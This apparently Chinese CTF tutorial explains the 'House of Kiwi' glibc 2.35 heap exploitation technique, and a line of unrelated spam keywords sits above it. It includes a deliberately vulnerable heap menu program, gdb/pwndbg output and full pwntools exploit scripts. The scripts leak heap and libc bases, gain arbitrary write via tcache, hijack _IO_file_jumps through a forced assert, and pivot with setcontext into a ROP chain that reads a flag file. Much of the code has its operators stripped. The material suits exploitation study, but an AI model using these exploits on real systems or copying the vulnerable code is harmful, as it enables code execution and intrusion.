杯子网站开发方案,做照片书的模板下载网站,h5制作软件推荐,婚恋网注册House of Kiwi
之前我们利用IO_FILE一般是通过劫持vtable来实现的#xff0c; House of Kiwi虽然不是通过劫持vtable来实现#xff0c;但实质上是劫持vtable指向的全局的_IO_file_jumps_表来实现的。注意#xff1a;对于某些版本的glibc#xff0c;_IO_file_jumps_并不可写…House of Kiwi
之前我们利用IO_FILE一般是通过劫持vtable来实现的 House of Kiwi虽然不是通过劫持vtable来实现但实质上是劫持vtable指向的全局的_IO_file_jumps_表来实现的。注意对于某些版本的glibc_IO_file_jumps_并不可写也就不能利用这种方法比较玄学需要实际看一下。较高版本的glibc去除了__malloc_hook、__free_hook、exit hook而如果程序调用中利用诸如write、__exit等函数直接触发系统调用不走IO结构体调用流程就难以使用IO的方法来劫持程序执行流程。之所以赋予House of Kiwi这个利用手法名实际上是因为找到了一条“主动触发异常退出”来触发vtable上的相关函数来的实现攻击。
一、源码分析
在malloc.c的sysmalloc函数中存在assert断言当然很多其他地方也用了assert宏
这里检查了Top chunk的控制字段不通过则触发异常
//malloc.c
static void *
sysmalloc (INTERNAL_SIZE_T nb, mstate av)
{...assert ((old_top initial_top (av) old_size 0) ||((unsigned long) (old_size) MINSIZE prev_inuse (old_top) ((unsigned long) old_end (pagesize - 1)) 0));/* Precondition: not enough current space to satisfy nb request */assert ((unsigned long) (old_size) (unsigned long) (nb MINSIZE));...
}
继续看一下assert宏可以看到assert➡__assert_fail函数
# if defined __cplusplus
# define assert(expr) \(static_cast bool (expr) \? void (0) \: __assert_fail (#expr, __FILE__, __LINE__, __ASSERT_FUNCTION))
# elif !defined __GNUC__ || defined __STRICT_ANSI__
# define assert(expr) \((expr) \? __ASSERT_VOID_CAST (0) \: __assert_fail (#expr, __FILE__, __LINE__, __ASSERT_FUNCTION))
# else
/* The first occurrence of EXPR is not evaluated due to the sizeof,but will trigger any pedantic warnings masked by the __extension__for the second occurrence. The ternary operator is required tosupport function pointers and bit fields in this context, and tosuppress the evaluation of variable length arrays. */
# define assert(expr) \((void) sizeof ((expr) ? 1 : 0), __extension__ ({ \if (expr) \; /* empty */ \else \__assert_fail (#expr, __FILE__, __LINE__, __ASSERT_FUNCTION); \}))
# endif继续跟进可以看到实际上是调用__malloc_assert其中fflush(stderr)则走了IO路线来输出实际上__fxprintf也走了。
#if IS_IN (libc)
#ifndef NDEBUG
# define __assert_fail(assertion, file, line, function) \__malloc_assert(assertion, file, line, function)extern const char *__progname;static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,const char *function)
{(void) __fxprintf (NULL, %s%s%s:%u: %s%sAssertion %s failed.\n,__progname, __progname[0] ? : : ,file, line,function ? function : , function ? : : ,assertion);fflush (stderr);abort ();
}
#endif
#endiffflush➡_IO_fflush
# define fflush(s) _IO_fflush (s)_IO_SYNC可以看到_IO_fflush继续跳转到vtable指向_IO_file_jumps_表上的sync项
int
_IO_fflush (FILE *fp)
{if (fp NULL)return _IO_flush_all ();else{int result;CHECK_FILE (fp, EOF);_IO_acquire_lock (fp);result _IO_SYNC (fp) ? EOF : 0;_IO_release_lock (fp);return result;}
}
libc_hidden_def (_IO_fflush)因此我们可以通过劫持全局_IO_file_jumps表劫持sync指针然后触发assert断言进入
assert➡__assert_fail➡__malloc_assert➡fflush➡_IO_fflush➡_IO_SYNC调用链从而劫持程序流。
二、劫持程序流示例
pwn.cglibc2.35
#includestdlib.h
#include stdio.h
#include unistd.h
#include string.hchar *chunk_list[0x100];#define puts(str) write(1, str, strlen(str)), write(1, \n, 1)void menu() {puts(1. add chunk);puts(2. delete chunk);puts(3. edit chunk);puts(4. show chunk);puts(5. exit);puts(choice:);
}int get_num() {char buf[0x10];read(0, buf, sizeof(buf));return atoi(buf);
}void add_chunk() {puts(index:);int index get_num();puts(size:);int size get_num();chunk_list[index] malloc(size);
}void delete_chunk() {puts(index:);int index get_num();free(chunk_list[index]);
}void edit_chunk() {puts(index:);int index get_num();puts(length:);int length get_num();puts(content:);read(0, chunk_list[index], length);
}void show_chunk() {puts(index:);int index get_num();puts(chunk_list[index]);
}int main() {setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);while (1) {menu();int choice get_num();switch (choice) {case 1:add_chunk();break;case 2:delete_chunk();break;case 3:edit_chunk();break;case 4:show_chunk();break;case 5:_exit(0);default:puts(invalid choice.);}}
}大致过程如下
泄露heap base劫持tcache_pthread_structarbitrary_write劫持全局数据区的_IO_file_jumps表写坏Top chunk然后malloc较大堆块触发assert断言进入调用链 首先glibc-2.35的tcache-key通过UAF泄露heap_base
add(0,0x100)
add(1,0x100)
add(2,0x100)
delete(0)
show(0)
io.recvline()
heap_baseu64(io.recv(5).ljust(8,b\x00))12
success(heap_base:hex(heap_base))让我们通过劫持tcache_pthread_struct来泄露libc并进一步获得arbitrary_write的能力
delete(2)
# pos (heap_base 0x5c8)
# target heap_base 0x20
edit(2,p64((heap_base 12) ^ (heap_base 0x20))p64(0))
add(2,0x100)
add(10,0x100)
edit(10,b\x00*14p16(0x7))
delete(1)
show(1)
io.recvline()
libc.addressu64(io.recv(6).ljust(8,b\x00))-0x1f2ce0
success(libc_base: hex(libc.address))def arbitrary_write(address,content):aligns address 0xfaddress address ~0xfedit(10,(b\x00*14p16(0x7)).ljust(0xe8,b\x00)p64(address))add(11,0x100)edit(11,b\x00*alignscontent)然后我们就可以通过任意地址写来修改全局表_IO_file_jumps了 0xdb1f1 execve(/bin/sh, r13, r12)
constraints:[r13] NULL || r13 NULL || r13 is a valid argv[r12] NULL || r12 NULL || r12 is a valid envp0xdb1f4 execve(/bin/sh, r13, rdx)
constraints:[r13] NULL || r13 NULL || r13 is a valid argv[rdx] NULL || rdx NULL || rdx is a valid envp0xdb1f7 execve(/bin/sh, rsi, rdx)
constraints:[rsi] NULL || rsi NULL || rsi is a valid argv[rdx] NULL || rdx NULL || rdx is a valid envpone_gadget [0xdb1f1,0xdb1f4,0xdb1f7][0]libc.addressarbitrary_write(libc.sym[_IO_file_jumps]0x60,p64(one_gadget))
edit(2,b\x00*0x110)gdb.attach(io,b *{}\nc.format(hex(one_gadget)))
add(20,0x300)确实被我们劫持到one_gadget但是由于rsi、rdx都不为空所以不能简单利用。不过我们有任意地址写的能力由于fflush的参数是stderr所以我们可以在_IO_2_1_stderr头部写/bin/sh\x00同时flag位不会触发__fxprintf的链子继续执行fflush 0xdb1f1 execve(/bin/sh, r13, r12)
constraints:[r13] NULL || r13 NULL || r13 is a valid argv[r12] NULL || r12 NULL || r12 is a valid envp0xdb1f4 execve(/bin/sh, r13, rdx)
constraints:[r13] NULL || r13 NULL || r13 is a valid argv[rdx] NULL || rdx NULL || rdx is a valid envp0xdb1f7 execve(/bin/sh, rsi, rdx)
constraints:[rsi] NULL || rsi NULL || rsi is a valid argv[rdx] NULL || rdx NULL || rdx is a valid envpone_gadget [0xdb1f1,0xdb1f4,0xdb1f7][0]libc.addressarbitrary_write(libc.sym[_IO_file_jumps]0x60,p64(libc.sym[system]))
edit(2,b\x00*0x110)# gdb.attach(io,b *{}\nc.format(hex(one_gadget)))
arbitrary_write(libc.sym[_IO_2_1_stderr_],b/bin/sh\x00)
gdb.attach(io,b __malloc_assert\n)
add(20,0x300)三、配合setcontext-gadget实现ROP
glibc2.35的setcontext是通过rdx寄存器来传递数值的 ...0x77d08a450c0d setcontext61 mov rsp, qword ptr [rdx 0xa0]0x77d08a450c14 setcontext68 mov rbx, qword ptr [rdx 0x80]0x77d08a450c1b setcontext75 mov rbp, qword ptr [rdx 0x78]0x77d08a450c1f setcontext79 mov r12, qword ptr [rdx 0x48]0x77d08a450c23 setcontext83 mov r13, qword ptr [rdx 0x50]0x77d08a450c27 setcontext87 mov r14, qword ptr [rdx 0x58]0x77d08a450c2b setcontext91 mov r15, qword ptr [rdx 0x60]0x77d08a450c2f setcontext95 test dword ptr fs:[0x48], 20x77d08a450c3b setcontext107 je setcontext294 setcontext294...我们关注到在进行House of Kiwi时调用fflush时执行跳转表函数SYNC的 rdx寄存器指向_IO_helper_jumps
────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────0x7e211da782fb fflush107 mov rcx, rbp RCX 0x7e211dbf4580 (__GI__IO_file_jumps) ◂— 00x7e211da782fe fflush110 sub rcx, rdx RCX 0xc00 (0x7e211dbf4580 - 0x7e211dbf3980)0x7e211da78301 fflush113 cmp rax, rcx 0xd68 - 0xc00 EFLAGS 0x202 [ cf pf af zf sf IF df of ]0x7e211da78304 fflush116 jbe fflush200 fflush2000x7e211da78306 fflush118 mov rdi, rbx RDI 0x7e211dbf36a0 (_IO_2_1_stderr_) ◂— 0xfbad2887► 0x7e211da78309 fflush121 call qword ptr [rbp 0x60] __SI_IO_new_file_sync_7rdi: 0x7e211dbf36a0 (_IO_2_1_stderr_) ◂— 0xfbad2887rsi: 0x7ffc3c3bf7d0 ◂— 0x6c616d203a6e7770 (pwn: mal)rdx: 0x7e211dbf3980 (_IO_helper_jumps) ◂— 0rcx: 0xc000x7e211da7830c fflush124 test eax, eax0x7e211da7830e fflush126 setne al0x7e211da78311 fflush129 movzx eax, al0x7e211da78314 fflush132 neg eax0x7e211da78316 fflush134 test dword ptr [rbx], 0x8000
─────────────────────────────────────────────────────────────────[这也是一个全局跳转表具有w权限可以通过arbitray_write劫持
至于为什么是_IO_helper_jumps其实指向的是__start___libc_IO_vtables而_IO_helper_jumps是各个全局的跳转函数表的第一个表数值也即__start___libc_IO_vtables
pwndbg p/x __start___libc_IO_vtables
$3 0x7e211dbf3980 _IO_helper_jumps
pwndbg info reg rdx
rdx 0x7e211dbf3980 138680698091904
pwndbg tele 0x7e211dbf3980
00:0000│ rdx 0x7e211dbf3980 (_IO_helper_jumps) ◂— 0
01:0008│-bf8 0x7e211dbf3988 (_IO_helper_jumps8) ◂— 0
02:0010│-bf0 0x7e211dbf3990 (_IO_helper_jumps16) —▸ 0x7e211da85a10 (_IO_default_finish) ◂— endbr64
03:0018│-be8 0x7e211dbf3998 (_IO_helper_jumps24) —▸ 0x7e211da6c390 (_IO_helper_overflow) ◂— endbr64
04:0020│-be0 0x7e211dbf39a0 (_IO_helper_jumps32) —▸ 0x7e211da85360 (_IO_default_underflow) ◂— endbr64
05:0028│-bd8 0x7e211dbf39a8 (_IO_helper_jumps40) —▸ 0x7e211da85370 (_IO_default_uflow) ◂— endbr64
06:0030│-bd0 0x7e211dbf39b0 (_IO_helper_jumps48) —▸ 0x7e211da86450 (_IO_default_pbackfail) ◂— endbr64
07:0038│-bc8 0x7e211dbf39b8 (_IO_helper_jumps56) —▸ 0x7e211da853d0 (_IO_default_xsputn) ◂— endbr64
pwndbg
08:0040│-bc0 0x7e211dbf39c0 (_IO_helper_jumps64) —▸ 0x7e211da85550 (_IO_default_xsgetn) ◂— endbr64
09:0048│-bb8 0x7e211dbf39c8 (_IO_helper_jumps72) —▸ 0x7e211da85a90 (_IO_default_seekoff) ◂— endbr64
0a:0050│-bb0 0x7e211dbf39d0 (_IO_helper_jumps80) —▸ 0x7e211da85710 (_IO_default_seekpos) ◂— endbr64
0b:0058│-ba8 0x7e211dbf39d8 (_IO_helper_jumps88) —▸ 0x7e211da85610 (_IO_default_setbuf) ◂— endbr64
0c:0060│-ba0 0x7e211dbf39e0 (_IO_helper_jumps96) —▸ 0x7e211da85a00 (_IO_default_sync) ◂— endbr64
0d:0068│-b98 0x7e211dbf39e8 (_IO_helper_jumps104) —▸ 0x7e211da85780 (_IO_default_doallocate) ◂— endbr64
0e:0070│-b90 0x7e211dbf39f0 (_IO_helper_jumps112) —▸ 0x7e211da865c0 (_IO_default_read) ◂— endbr64
0f:0078│-b88 0x7e211dbf39f8 (_IO_helper_jumps120) —▸ 0x7e211da865d0 (_IO_default_write) ◂— endbr64
pwndbg
10:0080│-b80 0x7e211dbf3a00 (_IO_helper_jumps128) —▸ 0x7e211da865a0 (_IO_default_seek) ◂— endbr64
11:0088│-b78 0x7e211dbf3a08 (_IO_helper_jumps136) —▸ 0x7e211da85a00 (_IO_default_sync) ◂— endbr64
12:0090│-b70 0x7e211dbf3a10 (_IO_helper_jumps144) —▸ 0x7e211da865b0 (_IO_default_stat) ◂— endbr64
13:0098│-b68 0x7e211dbf3a18 (_IO_helper_jumps152) ◂— 0
... ↓ 4 skipped
pwndbg
18:00c0│-b40 0x7e211dbf3a40 (_IO_helper_jumps) ◂— 0
19:00c8│-b38 0x7e211dbf3a48 (_IO_helper_jumps8) ◂— 0
1a:00d0│-b30 0x7e211dbf3a50 (_IO_helper_jumps16) —▸ 0x7e211da7c460 (_IO_wdefault_finish) ◂— endbr64
1b:00d8│-b28 0x7e211dbf3a58 (_IO_helper_jumps24) —▸ 0x7e211da715d0 (_IO_helper_overflow) ◂— endbr64
1c:00e0│-b20 0x7e211dbf3a60 (_IO_helper_jumps32) —▸ 0x7e211da85360 (_IO_default_underflow) ◂— endbr64
1d:00e8│-b18 0x7e211dbf3a68 (_IO_helper_jumps40) —▸ 0x7e211da85370 (_IO_default_uflow) ◂— endbr64
1e:00f0│-b10 0x7e211dbf3a70 (_IO_helper_jumps48) —▸ 0x7e211da7c2a0 (_IO_wdefault_pbackfail) ◂— endbr64
1f:00f8│-b08 0x7e211dbf3a78 (_IO_helper_jumps56) —▸ 0x7e211da7c5e0 (_IO_wdefault_xsputn) ◂— endbr64
值得注意的是关注上述gdb调试数据可以看到好像有两个_IO_helper_jumps表。无论是libc.sym[_IO_helper_jumps]还是gdb内通过p/x _IO_helper_jumps打印的都是第二张表的地址不过fflush内call sync时的rdx指向是第一个表需要格外注意。
因此我们可以
利用任意地址写在_IO_helper_jumps上布置sigreturnFrame在堆上布置ROP链写坏Top chunk触发调用链
# ROP 放在2号堆块上
rop_start heap_base 0x4c0
buf_start heap_base 0x80
# flag 读到0号堆块上
flag_start heap_base 0x2a0
rop b
# read(3,flag_start,0x20)
rop p64(libc.search(asm(pop rdi;ret)).__next__())
rop p64(3)
rop p64(libc.search(asm(pop rsi;ret)).__next__())
rop p64(flag_start)
rop p64(libc.search(asm(pop rdx;ret)).__next__())
rop p64(0x20)
rop p64(libc.sym[read])
# write(1,flag_start,0x20)
rop p64(libc.search(asm(pop rdi;ret)).__next__())
rop p64(1)
rop p64(libc.search(asm(pop rsi;ret)).__next__())
rop p64(flag_start)
rop p64(libc.search(asm(pop rdx;ret)).__next__())
rop p64(0x20)
rop p64(libc.sym[write])
rop rop.ljust(buf_start - rop_start, b\x00)
rop b./flag.txt\x00
rop rop.ljust(0x110, b\x00)frame SigreturnFrame()
# open(./flag.txt)
frame.rdi buf_start
frame.rsi 0
frame.rdx 0
frame.rip libc.sym[open]
frame.rsp rop_startarbitrary_write(libc.sym[__start___libc_IO_vtables],bytes(frame))然而 看起来我们修改的_IO_helper_jumps在fflush 之前的__fxprintf被使用。
具体我们看一下用到了哪一项我们断点到__malloc_assert开始步过最终定位到表偏移0x38的函数指针是会被调用的 因此我们的sigreturnFrame数据在该处保留合法指针即可
pwndbg p __start___libc_IO_vtables
$1 0x77bb9cbf3980 _IO_helper_jumps
pwndbg tele 0x77bb9cbf3980
00:0000│ 0x77bb9cbf3980 (_IO_helper_jumps) ◂— 0
01:0008│ 0x77bb9cbf3988 (_IO_helper_jumps8) ◂— 0
02:0010│ 0x77bb9cbf3990 (_IO_helper_jumps16) —▸ 0x77bb9ca85a10 (_IO_default_finish) ◂— endbr64
03:0018│ 0x77bb9cbf3998 (_IO_helper_jumps24) —▸ 0x77bb9ca6c390 (_IO_helper_overflow) ◂— endbr64
04:0020│ 0x77bb9cbf39a0 (_IO_helper_jumps32) —▸ 0x77bb9ca85360 (_IO_default_underflow) ◂— endbr64
05:0028│ 0x77bb9cbf39a8 (_IO_helper_jumps40) —▸ 0x77bb9ca85370 (_IO_default_uflow) ◂— endbr64
06:0030│ 0x77bb9cbf39b0 (_IO_helper_jumps48) —▸ 0x77bb9ca86450 (_IO_default_pbackfail) ◂— endbr64
07:0038│ 0x77bb9cbf39b8 (_IO_helper_jumps56) —▸ 0x77bb9ca853d0 (_IO_default_xsputn) ◂— endbr64
pwndbg libc
libc : 0x77bb9ca00000
pwndbg p/x 0x77bb9ca853d0-0x77bb9ca00000
$2 0x853d0framebytearray(bytes(frame))
frame[0x38:0x40]p64(libc.address0x853d0)然后我们就可以正常到达fflush并劫持到setcontext 然后可以看到setcontext退出时进入rop-chain 结果在ROP过程中发现找到的pop rdx;ret是不可执行数据遂在所有的gadget的libc.search部分增添参数executableTrue
rop p64(libc.search(asm(pop rdx;ret),executableTrue).__next__())然而又找不到这样的gadget。所以用ropper或ROPgadget找具有同样功能虽然可能略荣誉的gadget
0x0000000000107191 : pop rdx ; pop r12 ; ret最终可以实现 ROP完整exp
from pwn import *
from pwnlib.abi import freebsd_armelf ELF(./pwn)
libc ELF(./libc.so.6)
context.arch elf.arch
context.log_level debug
context.os elf.osdef add(index, size):io.sendafter(bchoice:, b1)io.sendafter(bindex:, str(index).encode())io.sendafter(bsize:, str(size).encode())def delete(index):io.sendafter(bchoice:, b2)io.sendafter(bindex:, str(index).encode())def edit(index, content):io.sendafter(bchoice:, b3)io.sendafter(bindex:, str(index).encode())io.sendafter(blength:, str(len(content)).encode())io.sendafter(bcontent:, content)def show(index):io.sendafter(bchoice:, b4)io.sendafter(bindex:, str(index).encode())io process(./pwn)add(0, 0x100)
add(1, 0x100)
add(2, 0x100)delete(0)
show(0)
io.recvline()
heap_base u64(io.recv(5).ljust(8, b\x00)) 12
success(heap_base: hex(heap_base))delete(2)
# pos (heap_base 0x5c8)
# target heap_base 0x20
edit(2, p64((heap_base 12) ^ (heap_base 0x20)) p64(0))
add(2, 0x100)
add(10, 0x100)
edit(10, b\x00 * 14 p16(0x7))
delete(1)
show(1)
io.recvline()
libc.address u64(io.recv(6).ljust(8, b\x00)) - 0x1f2ce0
success(libc_base: hex(libc.address))def arbitrary_write(address, content):aligns address 0xfaddress address ~0xfedit(10, (b\x00 * 14 p16(0x7)).ljust(0xe8, b\x00) p64(address))add(11, 0x100)edit(11, b\x00 * aligns content)gdb.attach(io, b fflush\nc)
# gdb.attach(io,b __malloc_assert\nc)# ROP 放在2号堆块上
rop_start heap_base 0x4c0
buf_start rop_start 0x80
# flag 读到0号堆块上
flag_start heap_base 0x2a0
rop b
# read(3,flag_start,0x20)
rop p64(libc.search(asm(pop rdi;ret), executableTrue).__next__())
rop p64(3)
rop p64(libc.search(asm(pop rsi;ret), executableTrue).__next__())
rop p64(flag_start)
rop p64(libc.search(asm(pop rdx;pop r12;ret), executableTrue).__next__())
rop p64(0x30)
rop p64(0)
rop p64(libc.sym[read])
# write(1,flag_start,0x20)
rop p64(libc.search(asm(pop rdi;ret), executableTrue).__next__())
rop p64(1)
rop p64(libc.search(asm(pop rsi;ret), executableTrue).__next__())
rop p64(flag_start)
rop p64(libc.search(asm(pop rdx;pop r12;ret), executableTrue).__next__())
rop p64(0x30)
rop p64(0)
rop p64(libc.sym[write])
rop rop.ljust(buf_start - rop_start, b\x00)
rop b./flag.txt\x00
rop rop.ljust(0x110, b\x00)frame SigreturnFrame()
# open(./flag.txt)
frame.rdi buf_start
frame.rsi 0
frame.rdx 0
frame.rip libc.sym[open]
frame.rsp rop_startframe bytearray(bytes(frame))
frame[0x38:0x40] p64(libc.address 0x853d0)
arbitrary_write(libc.sym[__start___libc_IO_vtables], bytes(frame))
arbitrary_write(libc.sym[_IO_file_jumps] 0x60, p64(libc.sym[setcontext] 61))
edit(2, rop)
add(30, 0x300)
io.interactive()